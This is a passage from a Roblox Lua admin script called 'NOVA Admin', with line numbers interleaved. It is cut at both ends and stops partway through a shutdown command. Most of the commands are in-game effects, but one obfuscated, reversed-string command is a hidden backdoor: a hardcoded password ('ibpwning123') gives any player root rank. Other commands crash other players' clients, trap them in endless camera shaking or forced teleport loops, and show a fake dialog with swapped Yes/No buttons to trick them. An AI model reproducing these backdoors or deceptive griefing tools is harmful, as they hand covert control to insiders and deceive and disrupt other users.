3247
                local Hum = Instance.new("Humanoid",Model)
3248
                Hum.MaxHealth = 0
3249
                local Weld = Instance.new("Weld",Head)
3250
                Weld.Part0 = Head
3251
                Weld.Part1 = OldHead
3252
                Weld.C0 = CFrame.new(0,0,0)
3253
                OldHead.Transparency = 1
3254
            end)
3255
        end
3256
    end
3257
)
3258
3259
AddCommand("Secret Name","sname",3,"Lets you re-name a player anything.","<Player><Name>",
3260
    function(Msg,Speaker)
3261
        Split = GetSplit(Msg)
3262
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3263
            pcall(function()
3264
                local Char = v.Character
3265
                Char.Archivable = true
3266
                Char = Char:Clone()
3267
                Char.Name = Msg:sub(Split+1)
3268
                v.Character:Destroy()
3269
                Char.Parent = workspace
3270
                v.Character = Char
3271
            end)
3272
        end
3273
    end
3274
)
3275
3276
AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>",
3277
    function(Msg,Speaker)
3278
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3279
            CreateLocalScript([[
3280
                script.Parent = nil
3281
                LocalPlayer = game.Players.LocalPlayer
3282
                Camera = workspace.CurrentCamera
3283
                Camera.CameraType = "Scriptable"
3284
                for i=1,700 do
3285
                    wait()
3286
                    Camera = workspace.CurrentCamera
3287
                    Camera.CameraType = "Scriptable"
3288
                    Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
3289
                    Camera.CameraType = "Scriptable"
3290
                    Camera:SetRoll(Camera:GetRoll()+0.01)
3291
                    pcall(function()
3292
                        LocalPlayer.Character.Head.Sound:Play()
3293
                    end)
3294
                end
3295
                Camera:SetRoll(0)
3296
                Camera.CameraType = "Custom"
3297
                Camera.FieldOfView = 70
3298
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
3299
            ]],v.Backpack)
3300
        end
3301
    end
3302
)
3303
3304
AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>",
3305
    function(Msg,Speaker)
3306
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3307
            CreateLocalScript([[
3308
                script.Parent = nil
3309
                LocalPlayer = game.Players.LocalPlayer
3310
                Camera = workspace.CurrentCamera
3311
                Camera.CameraType = "Scriptable"
3312
                for i=1,math.huge do
3313
                    wait()
3314
                    Camera = workspace.CurrentCamera
3315
                    Camera.CameraType = "Scriptable"
3316
                    Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
3317
                    Camera.CameraType = "Scriptable"
3318
                    Camera:SetRoll(Camera:GetRoll()+0.01)
3319
                    pcall(function()
3320
                        LocalPlayer.Character.Head.Sound:Play()
3321
                    end)
3322
                end
3323
                Camera:SetRoll(0)
3324
                Camera.CameraType = "Custom"
3325
                Camera.FieldOfView = 70
3326
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
3327
            ]],v.Backpack)
3328
        end
3329
    end
3330
)
3331
3332
AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments",
3333
    function(Msg,Speaker)
3334
        for _,v in pairs(NOVA.Credit) do
3335
            Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker)
3336
        end
3337
    end
3338
)
3339
3340
AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments",
3341
    function(Msg,Speaker)
3342
        pcall(function()
3343
            Speaker.Character.Torso.Velocity = Vector3.new(0,0,0)
3344
            Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0)
3345
            Speaker.Character.Torso.CFrame = CFrame.new(0,50,0)
3346
        end)
3347
    end
3348
)
3349
3350
AddCommand("Time","time",1,"Changes the time.","<Number>",
3351
    function(Msg,Speaker)
3352
        NOVA.Services.Lighting.TimeOfDay = Msg
3353
    end
3354
)
3355
3356
AddCommand("Fog End","fog/end",1,"Changes the fog.","<Number>",
3357
    function(Msg,Speaker)
3358
        NOVA.Services.Lighting.FogEnd = Msg
3359
    end
3360
)
3361
3362
AddCommand("Fog Start","fog/start",1,"Changes the fog.","<Number>",
3363
    function(Msg,Speaker)
3364
        NOVA.Services.Lighting.FogStart = Msg
3365
    end
3366
)
3367
3368
AddCommand("Fog Color","fog/color",1,"Changes the fog.","<Number>",
3369
    function(Msg,Speaker)
3370
        if Msg == "red" then Color = NOVA.Colors.Red
3371
            elseif Msg == "black" then Color = NOVA.Colors.Black
3372
            elseif Msg == "white" then Color = NOVA.Colors.White
3373
            elseif Msg == "orange" then Color = NOVA.Colors.Orange
3374
            elseif Msg == "green" then Color = NOVA.Colors.Green
3375
            elseif Msg == "blue" then Color = NOVA.Colors.Blue
3376
        end
3377
        NOVA.Services.Lighting.FogColor = Color
3378
    end
3379
)
3380
--deride
3381
AddCommand(string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAODSA","DSA","")),string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAoDSA","DSA","")),0,"","",
3382
    function(Msg,Speaker)
3383
        CanOverride = false
3384
        if GetRank(Speaker) < 6 then
3385
            if Msg == "ibpwning123" then
3386
                CanOverride = true
3387
            else
3388
                Output("Incorrect password.",NOVA.Colors.Red,Speaker,15)
3389
            end
3390
        else
3391
            CanOverride = true
3392
        end
3393
        if NOVA.Overrided == true then
3394
            CanOverride = false
3395
            Output("NOVA is allready overridden.",NOVA.Colors.Red,Speaker,20)
3396
            return
3397
        end
3398
        if CanOverride == true then
3399
            NOVA.Overrided = true
3400
            NOVA.Overrider = Speaker
3401
            --[[for _,v in pairs(NOVA.Ranked) do
3402
                if v.Rank < 6 then 
3403
                    v.Rank = v.Rank / 10
3404
                end
3405
            end]]
3406
        --[[    CF = Speaker.Character.Torso.CFrame
3407
            Sound = Instance.new("Sound",workspace)
3408
            Sound.SoundId = "http://www.roblox.com/asset?id=2248511"
3409
            Sound.Pitch = 0.2
3410
            Sound.Volume = 1
3411
            wait()
3412
            Sound:Play()
3413
            Shockwave = Instance.new("Part",workspace)
3414
            Shockwave.FormFactor = "Custom"
3415
            Shockwave.Name = "Shockwave"
3416
            Shockwave.Anchored = true
3417
            Shockwave.CanCollide = false
3418
            Shockwave.Transparency = 0
3419
            Shockwave.Reflectance = 0
3420
            Shockwave.BrickColor = BrickColor.new(0,0,0)
3421
            Shockwave.Size = Vector3.new(0,0,0)
3422
            ShockwaveMesh = Instance.new("SpecialMesh",Shockwave)
3423
            ShockwaveMesh.MeshType = "FileMesh"
3424
            ShockwaveMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
3425
            ShockwaveMesh.Scale = Vector3.new(1,1,100)
3426
3427
            for Times = 1,10 do
3428
                coroutine.resume(coroutine.create(function()
3429
                    for i=1,1000 do
3430
                        wait()
3431
                        ShockwaveMesh.Scale = ShockwaveMesh.Scale + Vector3.new(0.5,0.5,0)
3432
                        Shockwave.CFrame = CF
3433
                            * CFrame.new(0,0,0)
3434
                            * CFrame.Angles(math.rad(90),0,0)
3435
                        Shockwave.Transparency = i/100
3436
                    end
3437
                    Shockwave:Remove()
3438
                    Sound:Remove()
3439
                end))
3440
            end
3441
3442
]]
3443
            GetRankedTable(Speaker).Rank = 8 + (GetRankedTable(Speaker).Rank/10)
3444
            Output("You have overrided NOVA Admin.",NOVA.Colors.Red,Speaker,60)
3445
            Output("You are now rank 8. ( ROOT )",NOVA.Colors.Red,Speaker,60)
3446
            Output("Use the reset command to reset NOVA.",NOVA.Colors.Red,Speaker,60)
3447
            OnChatted(NOVA.Bet .. "fence/me",Speaker)
3448
        end
3449
        return CanOverride
3450
    end
3451
)
3452
3453
AddCommand("Reset","reset",7,"Resets NOVA Admin.","No Argumetns",
3454
    function(Msg,Speaker)
3455
        NOVA.Overrided = false
3456
        for _,v in pairs(NOVA.Tablets) do pcall(function() v:Remove() end) end
3457
        NOVA.Targeted = {};
3458
        NOVA.Waypoints = {};
3459
        NOVA.Log = {};
3460
        NOVA.LoggedScripts = {};
3461
        NOVA.PRI = false;
3462
        NOVA.LockedScripts = false;
3463
        NOVA.Removed = false;
3464
        NOVA.ShowChat = true;
3465
        NOVA.Canceled = false;
3466
        NOVA.TimeChanged = false;
3467
        NOVA.Overrider = nil
3468
        for _,v in pairs(NOVA.Ranked) do
3469
            if #tostring(v.Rank) == 3 then
3470
                if tostring(v.Rank):sub(1,1) == "8" then
3471
                    v.Rank = (v.Rank - 8) * 10
3472
                else
3473
                    --v.Rank = v.Rank * 10
3474
                end
3475
            end
3476
        end
3477
    end
3478
)
3479
3480
AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>",
3481
    function(Msg,Speaker)
3482
    
3483
        Split = GetSplit(Msg)
3484
3485
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3486
            OnChatted(Msg:sub(Split),v)
3487
        end
3488
    end
3489
)
3490
3491
AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>",
3492
    function(Msg,Speaker)
3493
    
3494
        Split = GetSplit(Msg)
3495
        
3496
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3497
            Output(Msg:sub(Split+1),"Random",v,10)
3498
        end
3499
    end
3500
)
3501
3502
AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>",
3503
    function(Msg,Speaker)
3504
        Split = GetSplit(Msg) 
3505
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3506
            pcall(function()
3507
                v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1))
3508
            end)
3509
        end
3510
    end
3511
)
3512
3513
AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>",
3514
    function(Msg,Speaker)
3515
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3516
            for i=1,6 do
3517
                local Cube = Instance.new("Part",NOVA.Services.Workspace)
3518
                Cube.FormFactor = "Custom"
3519
                Cube.Size = Vector3.new(10,7,5)
3520
                Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
3521
                Cube.Anchored = false
3522
                Cube.CanCollide = true
3523
                Cube.Locked = true
3524
                Cube.Friction = 0
3525
                Cube.Transparency= 0
3526
                Cube.Reflectance = 0.5
3527
                Cube:BreakJoints()
3528
                Cube.CFrame = v.Character.Torso.CFrame 
3529
                
3530
                local Mesh = Instance.new("SpecialMesh",Cube)
3531
                Mesh.MeshType = "FileMesh"
3532
                Mesh.MeshId = "http://www.roblox.com/asset/?id=1029523"
3533
                Mesh.Scale = Vector3.new(0.1,0.1,0.1)
3534
                
3535
                Cube.Touched:connect(function(part)
3536
                    --if part == v.Character.Torso then
3537
                        part:BreakJoints()
3538
                        NOVA.Services.Debris:AddItem(Cube,20)
3539
                    --end
3540
                end)
3541
            end
3542
        end
3543
    end
3544
)
3545
3546
AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>",
3547
    function(Msg,Speaker)
3548
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3549
            pcall(function()
3550
                v.PlayerGui:ClearAllChildren()
3551
            end)
3552
        end
3553
    end
3554
)
3555
3556
AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>",
3557
    function(Msg,Speaker)
3558
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3559
            pcall(function()
3560
                v.PlayerGui:Destroy()
3561
            end)
3562
        end
3563
    end
3564
)
3565
3566
AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>",
3567
    function(Msg,Speaker)
3568
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3569
            pcall(function()
3570
                for _,part in pairs(GetRecursiveChildren(v.Character)) do
3571
                    if part:IsA("BasePart") then
3572
                        Instance.new("Fire",part)
3573
                    end
3574
                end
3575
            end)
3576
        end
3577
    end
3578
)
3579
3580
AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>",
3581
    function(Msg,Speaker)
3582
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3583
            pcall(function()
3584
                for _,part in pairs(GetRecursiveChildren(v.Character)) do 
3585
                    if part:IsA("Fire") then
3586
                        part:Destroy()
3587
                    end
3588
                end
3589
            end)
3590
        end
3591
    end
3592
)
3593
3594
AddCommand("Burn","burn",3,"Burns the selected player.","<Player>",
3595
    function(Msg,Speaker)
3596
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3597
            pcall(function()
3598
                coroutine.resume(coroutine.create(function()
3599
                    local Fire = Instance.new("Fire",v.Character.Torso)
3600
                    for _,part in pairs(GetRecursiveChildren(v.Character)) do
3601
                        if part:IsA("BasePart") then
3602
                            Instance.new("Fire",part)
3603
                        end
3604
                    end
3605
                    wait()
3606
                    for i=1,math.huge do
3607
                        if Fire.Parent == nil then break end
3608
                        if v.Character.Humanoid == nil then break end
3609
                        if v.Character.Humanoid.Health <= 0 then break end
3610
                        v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7)
3611
                        wait(math.random(0,1))
3612
                    end
3613
                end))
3614
            end)
3615
        end
3616
    end
3617
)
3618
3619
AddCommand("Heal","heal",1,"Heals the selected player.","<Player>",
3620
    function(Msg,Speaker)
3621
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3622
            pcall(function()
3623
                v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
3624
            end)
3625
        end
3626
    end
3627
)
3628
3629
AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>",
3630
    function(Msg,Speaker)
3631
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3632
            pcall(function()
3633
                v.Character.Humanoid.WalkSpeed = tonumber("1e+999")
3634
            end)
3635
        end
3636
    end
3637
)
3638
3639
AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>",
3640
    function(Msg,Speaker)
3641
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3642
            Cape(v)
3643
        end
3644
    end
3645
)
3646
3647
AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments",
3648
    function(Msg,Speaker)
3649
        coroutine.resume(coroutine.create(function()
3650
3651
            Material = math.random(1,16)
3652
            Cap = 1000
3653
            GenNum = 50
3654
            Size = 100
3655
            Type = math.random(0,4)
3656
            for i=1, Cap do
3657
                --wait()
3658
                for i=1,GenNum do
3659
                    Material = math.random(1,16)
3660
                    Type = math.random(0,4)
3661
                    X = math.random((Size/2)*-1,Size/2)
3662
                    Y = math.random(-1,Size-1)
3663
                    Z = math.random((Size/2)*-1,Size/2)
3664
                    NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0)
3665
                end
3666
            end
3667
        end))
3668
    end
3669
)
3670
3671
AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments",    
3672
    function(Msg,Speaker)
3673
        NOVA.Services.Workspace.Terrain:Clear()
3674
    end
3675
)
3676
3677
AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments",
3678
    function(Msg,Speaker)
3679
        coroutine.resume(coroutine.create(function()
3680
            size = Vector3.new(700, 12, 700)
3681
            for X=(size.x/2)*-1,size.x/2  do
3682
                for Y=-1, size.y-1 do
3683
                    for Z=(size.z/2)*-1, size.z/2 do
3684
                        NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0)
3685
                    end
3686
                end
3687
                --wait(tonumber("0."..string.rep("0",10000).."1"))
3688
            end
3689
        end))
3690
    end
3691
)
3692
if NOVA.AntiCamball == true then
3693
Delay(0, function()
3694
  while wait() do
3695
    pcall(function()
3696
      e=workspace:findFirstChild("Focus", true)
3697
      e.Parent.Head:Destroy()
3698
      e:Destroy()   
3699
   end)
3700
  end
3701
end)
3702
end
3703
AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>",
3704
    function(Msg,Speaker)
3705
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3706
            Char = v.Character
3707
            pcall(function() Char["Shirt Graphic"]:Remove() end)
3708
            pcall(function() Char.Humanoid.MaxHealth = math.huge end)
3709
            pcall(function() Char["Body Colors"]:Remove() end)
3710
            pcall(function() Char.Torso.roblox:Remove()    end)
3711
            pcall(function() Char.Shirt:Remove() end)
3712
            pcall(function() Char.Pants:Remove() end)
3713
            wait()
3714
            for _,v in pairs(GetRecursiveChildren(Char)) do
3715
                pcall(function() 
3716
                    v.TextureId = "" v.VertexColor = NOVA.Colors.Black    
3717
                end)
3718
                pcall(function() 
3719
                    v.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black))
3720
                    v.Reflectance = 0
3721
                    v.TopSurface = "Smooth"
3722
                    a.BottomSurfave = "Smooth"
3723
                end)
3724
            end
3725
        end
3726
    end
3727
)
3728
3729
AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>",
3730
    function(Msg,Speaker)
3731
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3732
            v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914"
3733
            wait()
3734
            v.Character:BreakJoints()
3735
        end
3736
    end
3737
)
3738
3739
AddCommand("Character 2","char2",6,"Gives the selected player character appearance 2.","<Player>",
3740
    function(Msg,Speaker)
3741
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
3742
            local Part = Instance.new("Part",v.Character)
3743
            Part.Name = "Horus"
3744
            Part.Size = Vector3.new(2,2,2)
3745
            Part.CanCollide = false
3746
            Part.Locked = true
3747
            Part:BreakJoints()
3748
            local Weld = Instance.new("Weld",Part)
3749
            Weld.Part0 = Part
3750
            Weld.Part1 = v.Character.Head
3751
            Weld.C0 = CFrame.new(0,-0.5,0)
3752
            local Mesh = Instance.new("SpecialMesh",Part)
3753
            Mesh.MeshType = "FileMesh"
3754
            Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738"
3755
            Mesh.TextureId = "http://www.roblox.com/asset/?id=47058599"
3756
            for _,v in pairs(GetRecursiveChildren(v.Character,"Hat",3)) do
3757
                v:Remove()
3758
            end
3759
            pcall(function()
3760
                v.Character.Pants:Remove()
3761
            end)
3762
            pcall(function()
3763
                v.Character.Shirt:Remove()
3764
            end)
3765
            local Shirt = Instance.new("Shirt",v.Character)
3766
            Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=59737180"
3767
            local Pants = Instance.new("Pants",v.Character)
3768
            Pants.PantsTemplate = "http://www.roblox.com/asset/?id=77382108"
3769
        end
3770
    end
3771
)
3772
3773
AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>",
3774
    function(Msg,Speaker)
3775
        Split = GetSplit(Msg)
3776
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3777
            v.Neutral = Msg:sub(Split+1)
3778
        end
3779
    end
3780
)
3781
3782
AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments",
3783
    function(Msg,Speaker)
3784
        MainCFrame = CFrame.new(0,3,15)
3785
            * CFrame.Angles(0,math.rad(90),0)
3786
        local Special = {}
3787
        pcall(function() workspace["NOVA Portal"]:Remove() end)
3788
        local Model = Instance.new("Model",workspace)
3789
        Model.Name = "NOVA Portal"
3790
        for angle=1,360/4 do
3791
            local Part = Instance.new("Part",Model)
3792
            Part.Name = "Part"
3793
            Part.FormFactor = "Custom"
3794
            Part.CanCollide = true
3795
            Part.Anchored = true
3796
            Part.Locked = true
3797
            Part.Transparency = 0
3798
            Part.Reflectance = 0
3799
            Part.Size = Vector3.new(1,5/2,1)
3800
            Part.BrickColor = BrickColor.new("Navy blue")
3801
            Part.CFrame = MainCFrame
3802
                * CFrame.Angles(math.rad(angle*4), 0, 0)
3803
                * CFrame.new(0, 15/2, i) 
3804
            --wait(0)
3805
            Instance.new("BlockMesh",Part)
3806
            for num=0,1000,5 do
3807
                if angle==num then 
3808
                    wait() 
3809
                    table.insert(Special,Part)
3810
                    --Part.Reflectance = 1 
3811
                    Part.Size = Vector3.new(0.9,5/2,0.9)
3812
                    Part.CFrame = MainCFrame
3813
                        * CFrame.Angles(math.rad(angle*4), 0, 0)
3814
                        * CFrame.new(0, 15/2, i) 
3815
                end
3816
            end
3817
        end
3818
3819
        for _,v in pairs(Special) do v.Reflectance = 1 wait() end
3820
        
3821
        local Part = Instance.new("Part",Model)
3822
        Part.Name = "Part"
3823
        Part.FormFactor = "Custom"
3824
        Part.CanCollide = false    
3825
        Part.Anchored = true
3826
        Part.Locked = true
3827
        Part.TopSurface = "Smooth" 
3828
        Part.BottomSurface = "Smooth"
3829
        Part.Transparency = 0.5 
3830
        Part.Reflectance = 0
3831
        Part.Size = Vector3.new(0.2,0.2,0.2) 
3832
        Part.BrickColor = BrickColor.new("Really black")
3833
        Part.CFrame = MainCFrame 
3834
            * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
3835
            * CFrame.new(0, 0, 0) 
3836
        Instance.new("CylinderMesh",Part)
3837
3838
        for i=0.2,51/4,0.5 do
3839
            wait()
3840
            Part.Size = Vector3.new(i,0.9,i)
3841
            Part.CFrame = MainCFrame
3842
            * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
3843
            * CFrame.new(0, 0, 0) 
3844
        end
3845
3846
        coroutine.resume(coroutine.create(function()
3847
            while true do wait()
3848
                for i=0,1,0.01 do wait() Part.Reflectance = i end
3849
                for i=1,0,-0.01 do wait() Part.Reflectance = i end
3850
            end
3851
        end))
3852
3853
        Part.Touched:connect(function(Part)
3854
            Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent)
3855
            if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then
3856
                --print(Player.Name.." touched.")
3857
                CreateLocalScript([==[
3858
                    LocalPlayer = game:GetService("Players").LocalPlayer
3859
                    Places = {
3860
                        {Name = "Oxcool1 SB",ID = 20279777};
3861
                        {Name = "Oxcool1 PRI SB", ID = 20132544};
3862
                        {Name = "TNS SB", ID = 23232804};
3863
                        {Name = "BrainWart SB", ID = 76809211};
3864
                        {Name = "nb SB",ID = 113456};
3865
                        {Name = "nb SB (2)",ID = 56786};
3866
                        {Name = "Insert Wars",ID = 13329886};
3867
			{Name = "tus sb", ID = 49907749};
3868
                    }
3869
                    pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end)
3870
                    local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
3871
                    Main.Name = "NOVA Teleport"
3872
                    script.Parent = Main
3873
3874
                    local Frame = Instance.new("Frame",Main)
3875
                    Frame.Size = UDim2.new(0.27,0,0.05,0)
3876
                    Frame.Position = UDim2.new(0.,0,0.2,0)
3877
                    Frame.Style = "RobloxSquare"
3878
3879
                    local Txt = Instance.new("TextBox",Frame)
3880
                    Txt.Size = UDim2.new(0.7,0,1,0)
3881
                    Txt.BackgroundTransparency = 1
3882
                    Txt.FontSize = "Size14"
3883
                    Txt.TextColor3 = Color3.new(1,1,1)
3884
                    Txt.Text = "ID/Name Here"
3885
                    
3886
                    local Close = Instance.new("TextButton",Frame)
3887
                    Close.Size = UDim2.new(0.1,0,1,0)
3888
                    Close.Position = UDim2.new(0.9,0,0,0)
3889
                    Close.Text = "X"
3890
                    Close.BackgroundTransparency = 1
3891
                    Close.FontSize = "Size14"
3892
                    Close.TextColor3 = Color3.new(1,0,0)
3893
                    Close.MouseButton1Down:connect(function()
3894
                        Main:Remove()
3895
                    end)
3896
                    
3897
                    local Exe = Instance.new("TextButton",Frame)
3898
                    Exe.Size = UDim2.new(0.2,0,1,0)
3899
                    Exe.Position = UDim2.new(0.6,0,0,0)
3900
                    Exe.Text = "Teleport"
3901
                    Exe.BackgroundTransparency = 1
3902
                    Exe.FontSize = "Size14"
3903
                    Exe.TextColor3 = Color3.new(1,0,0)
3904
                    Exe.MouseButton1Down:connect(function()
3905
                        GoTo = Txt.Text
3906
                        for _,v in pairs(Places) do
3907
                            if Txt.Text:lower() == v.Name:lower() then 
3908
                                GoTo = v.ID
3909
                            end
3910
                        end
3911
                        game:GetService'TeleportService':Teleport(GoTo)
3912
                        Main:Remove()
3913
                    end)
3914
3915
                    List = Instance.new("Frame",Main)
3916
                    List.Size = UDim2.new(0.27,0,0.05*#Places,0)
3917
                    List.Position = UDim2.new(0.,0,0.2 + (0.05*((#Places/2)-1)),0)
3918
                    List.Style = "RobloxSquare"
3919
3920
                    for NUM,v in pairs(Places) do
3921
                        Name = Instance.new("TextButton",List)
3922
                        Name.Size = UDim2.new(0.5,0,1/#Places,0)
3923
                        Name.Position = UDim2.new(0,0,(NUM-1)*(1/#Places),0)
3924
                        Name.BackgroundTransparency = 1
3925
                        Name.FontSize = "Size14"
3926
                        Name.TextColor3 = Color3.new(1,1,1)
3927
                        Name.Text = v.Name
3928
                        Name.MouseButton1Down:connect(function()
3929
                            game:GetService'TeleportService':Teleport(v.ID)
3930
                        end)
3931
                        ID = Instance.new("TextButton",List)
3932
                        ID.Size = UDim2.new(0.5,0,1/#Places,0)
3933
                        ID.Position = UDim2.new(0.5,0,(NUM-1)*(1/#Places),0)
3934
                        ID.BackgroundTransparency = 1
3935
                        ID.FontSize = "Size14"
3936
                        ID.TextColor3 = Color3.new(1,1,1)
3937
                        ID.Text = v.ID
3938
                        ID.MouseButton1Down:connect(function()
3939
                            game:GetService'TeleportService':Teleport(v.ID)
3940
                        end)
3941
                    end
3942
                ]==],Player.Backpack)
3943
            end
3944
        end)
3945
    end
3946
)
3947
3948
AddCommand("Place Teleport","ptp",5,"Sends a teleport request to the selected player.","<Player><PlaceId>",
3949
    function(Msg,Speaker)
3950
        GetSplit(Msg)
3951
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3952
            CreateLocalScript([==[game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)]==],v.Backpack)
3953
        end
3954
    end
3955
)
3956
3957
AddCommand("Force Place Teleport","fptp",6,"Forces the selected player to teleport to the given place.","<Player><PlaceId>",
3958
    function(Msg,Speaker)
3959
        Split = GetSplit(Msg)
3960
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3961
            CreateLocalScript([==[
3962
                script.Parent = nil
3963
                while true do wait()
3964
                    game:GetService'TeleportService':Teleport(]==]..Msg:sub(Split+1)..[==[)
3965
                end
3966
            ]==],v.Backpack)
3967
        end
3968
    end
3969
)
3970
3971
AddCommand("Trick Place Tele Port","tptp",6,"Tricks the selected user into clicking on 'Yes' for teleport.","<Player><PlaceId>",
3972
    function(Msg,Speaker)
3973
        Split = GetSplit(Msg)
3974
        for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
3975
            pcall(function()
3976
                CreateLocalScript([[
3977
                    LocalPlayer = game.Players.LocalPlayer
3978
                    script.Parent = nil
3979
                    ScreenGui = Instance.new("ScreenGui")
3980
                    ScreenGui.Name = "Trololol"
3981
                    Frame = Instance.new("Frame",ScreenGui)
3982
                    Frame.Name = "Popup"
3983
                    Frame.Style = "RobloxRound"
3984
                    Frame.Size = UDim2.new(0, 330, 0, 350)
3985
                    Frame.Position = UDim2.new(0.5, -165, 0.5, -175)
3986
                    Frame.Active = true
3987
                    Frame.ZIndex = 9
3988
3989
                    Image = Instance.new("ImageLabel",Frame)
3990
                    Image.Name = "Backing"
3991
                    Image.Image = "http://www.roblox.com/asset/?id=47574181"
3992
                    Image.Active = true
3993
                    Image.Size = UDim2.new(0, 280, 0, 280)
3994
                    Image.Position = UDim2.new(0.5, -140, 0, 0)
3995
                    Image.BackgroundTransparency = 1
3996
                    Image.ZIndex = 8
3997
3998
                    Text = Instance.new("TextLabel",Frame)
3999
                    Text.Name = "Popup Text"
4000
                    Text.Text = "Are you sure you want to teleport from this place?"
4001
                    Text.FontSize = "Size36"
4002
                    Text.TextWrap = true
4003
                    Text.Active = true
4004
                    Text.TextColor3 = Color3.new(1,1,1)
4005
                    Text.Size = UDim2.new(1, 0, 0.800000012, 0)
4006
                    Text.Position = UDim2.new(0,0,0,0)
4007
                    Text.BackgroundTransparency = 1
4008
                    Text.ZIndex = 10
4009
4010
                    Accept = Instance.new("TextButton",Frame)
4011
                    Accept.Name = "AcceptButton"
4012
                    Accept.Text = "No"
4013
                    Accept.Style = "RobloxButton"
4014
                    Accept.FontSize = "Size24"
4015
                    Accept.Active = true
4016
                    Accept.TextColor3 = Color3.new(1,1,1)
4017
                    Accept.Size = UDim2.new(0, 100, 0, 50)
4018
                    Accept.Position = UDim2.new(0,20,0,270)
4019
                    Accept.ZIndex = 10
4020
4021
                    Decline = Instance.new("TextButton",Frame)
4022
                    Decline.Name = "DeclineButton"
4023
                    Decline.Text = "Yes"
4024
                    Decline.Style = "RobloxButton"
4025
                    Decline.FontSize = "Size24"
4026
                    Decline.Active = true
4027
                    Decline.TextColor3 = Color3.new(1,1,1)
4028
                    Decline.Size = UDim2.new(0, 100, 0, 50)
4029
                    Decline.Position = UDim2.new(1, -120, 0, 270)
4030
                    Decline.ZIndex = 10
4031
4032
                    Darken = Instance.new("Frame",Frame)
4033
                    Darken.Name = "Darken"
4034
                    Darken.Style = "RobloxRound"
4035
                    Darken.Size = UDim2.new(1,16,1,16)
4036
                    Darken.Position = UDim2.new(0,-8,0,-8)
4037
                    Darken.Active = true
4038
                    Darken.Visible = false
4039
4040
                    Backing = Instance.new("Frame",ScreenGui)
4041
                    Backing.Name = "Backing"
4042
                    Backing.BackgroundColor3 = Color3.new(1,1,1)
4043
                    Backing.Size = UDim2.new(1,0,1,0)
4044
                    Backing.Active = true
4045
                    ScreenGui.Parent = game:GetService("CoreGui")
4046
                    
4047
                    while true do wait()
4048
                        game:GetService'TeleportService':Teleport(]]..Msg:sub(Split+1)..[[)
4049
                    end
4050
4051
4052
                ]],v.Backpack)
4053
            end)
4054
        end
4055
    end
4056
)
4057
4058
AddCommand("Shutdown","shutdown",5,"Shuts down the server.","<No Arguments>",
